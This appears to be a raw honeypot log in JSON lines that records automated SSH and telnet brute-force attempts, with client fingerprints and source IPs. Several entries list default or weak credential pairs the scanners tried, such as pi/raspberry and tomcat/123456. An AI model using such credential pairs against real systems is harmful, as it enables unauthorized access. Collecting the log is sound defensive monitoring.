{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:19.501873Z","src_ip":"45.156.87.254","session":"0cc915bf8849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:19.849987Z","src_ip":"45.156.87.254","session":"0cc915bf8849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:20.936375Z","src_ip":"45.156.87.254","session":"0cc915bf8849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.884577751159668,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:21.546583Z","src_ip":"175.212.12.133","session":"ac0afd0c58da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46096,"dst_ip":"159.203.135.109","dst_port":22,"session":"edbae67d0e92","protocol":"ssh","message":"New connection: 45.156.87.254:46096 (159.203.135.109:22) [session: edbae67d0e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:24.215776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:24.221224Z","src_ip":"45.156.87.254","session":"edbae67d0e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:24.303742Z","src_ip":"45.156.87.254","session":"edbae67d0e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:24.574371Z","src_ip":"45.156.87.254","session":"edbae67d0e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:25.665087Z","src_ip":"45.156.87.254","session":"edbae67d0e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56438,"dst_ip":"159.203.135.109","dst_port":22,"session":"68af2df91ff9","protocol":"ssh","message":"New connection: 45.156.87.254:56438 (159.203.135.109:22) [session: 68af2df91ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:29.510886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:29.527514Z","src_ip":"45.156.87.254","session":"68af2df91ff9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:29.596102Z","src_ip":"45.156.87.254","session":"68af2df91ff9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:30.061766Z","src_ip":"45.156.87.254","session":"68af2df91ff9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:31.146611Z","src_ip":"45.156.87.254","session":"68af2df91ff9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56452,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed4c34a616d5","protocol":"ssh","message":"New connection: 45.156.87.254:56452 (159.203.135.109:22) [session: ed4c34a616d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:34.673977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:34.679473Z","src_ip":"45.156.87.254","session":"ed4c34a616d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:34.937219Z","src_ip":"45.156.87.254","session":"ed4c34a616d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:35.252862Z","src_ip":"45.156.87.254","session":"ed4c34a616d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:36.340007Z","src_ip":"45.156.87.254","session":"ed4c34a616d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53732,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b390dc60512","protocol":"telnet","message":"New connection: 104.245.105.2:53732 (10.17.0.5:23) [session: 9b390dc60512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:38.750020Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e09318be688","protocol":"ssh","message":"New connection: 45.156.87.254:39130 (159.203.135.109:22) [session: 4e09318be688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:40.209480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:40.214150Z","src_ip":"45.156.87.254","session":"4e09318be688","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:40.300592Z","src_ip":"45.156.87.254","session":"4e09318be688","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:40.549072Z","src_ip":"45.156.87.254","session":"4e09318be688","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:41.633298Z","src_ip":"45.156.87.254","session":"4e09318be688","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.228.215.246","src_port":19276,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9c01418ad56","protocol":"telnet","message":"New connection: 188.228.215.246:19276 (159.203.135.109:23) [session: b9c01418ad56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:42.638631Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39140,"dst_ip":"159.203.135.109","dst_port":22,"session":"c98696463765","protocol":"ssh","message":"New connection: 45.156.87.254:39140 (159.203.135.109:22) [session: c98696463765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:44.840328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:44.845559Z","src_ip":"45.156.87.254","session":"c98696463765","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:44.928268Z","src_ip":"45.156.87.254","session":"c98696463765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:45.298616Z","src_ip":"45.156.87.254","session":"c98696463765","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:46.459358Z","src_ip":"45.156.87.254","session":"c98696463765","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50852,"dst_ip":"159.203.135.109","dst_port":22,"session":"22e95c47f7a8","protocol":"ssh","message":"New connection: 45.156.87.254:50852 (159.203.135.109:22) [session: 22e95c47f7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:48.932588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:48.938512Z","src_ip":"45.156.87.254","session":"22e95c47f7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:49.026670Z","src_ip":"45.156.87.254","session":"22e95c47f7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:49.278963Z","src_ip":"45.156.87.254","session":"22e95c47f7a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":50088,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9af8480416","protocol":"ssh","message":"New connection: 186.30.115.187:50088 (10.17.0.5:22) [session: 3c9af8480416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:50.387583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:50.392832Z","src_ip":"186.30.115.187","session":"3c9af8480416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:50.408250Z","src_ip":"45.156.87.254","session":"22e95c47f7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:50.491349Z","src_ip":"186.30.115.187","session":"3c9af8480416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"project","password":"test","message":"login attempt [project/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:50.908947Z","src_ip":"186.30.115.187","session":"3c9af8480416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:52.010571Z","src_ip":"186.30.115.187","session":"3c9af8480416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":50864,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dfc3b496cf4","protocol":"ssh","message":"New connection: 45.156.87.254:50864 (159.203.135.109:22) [session: 1dfc3b496cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:52.785358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:47:52.805734Z","src_ip":"45.156.87.254","session":"1dfc3b496cf4","protocol":"ssh"}
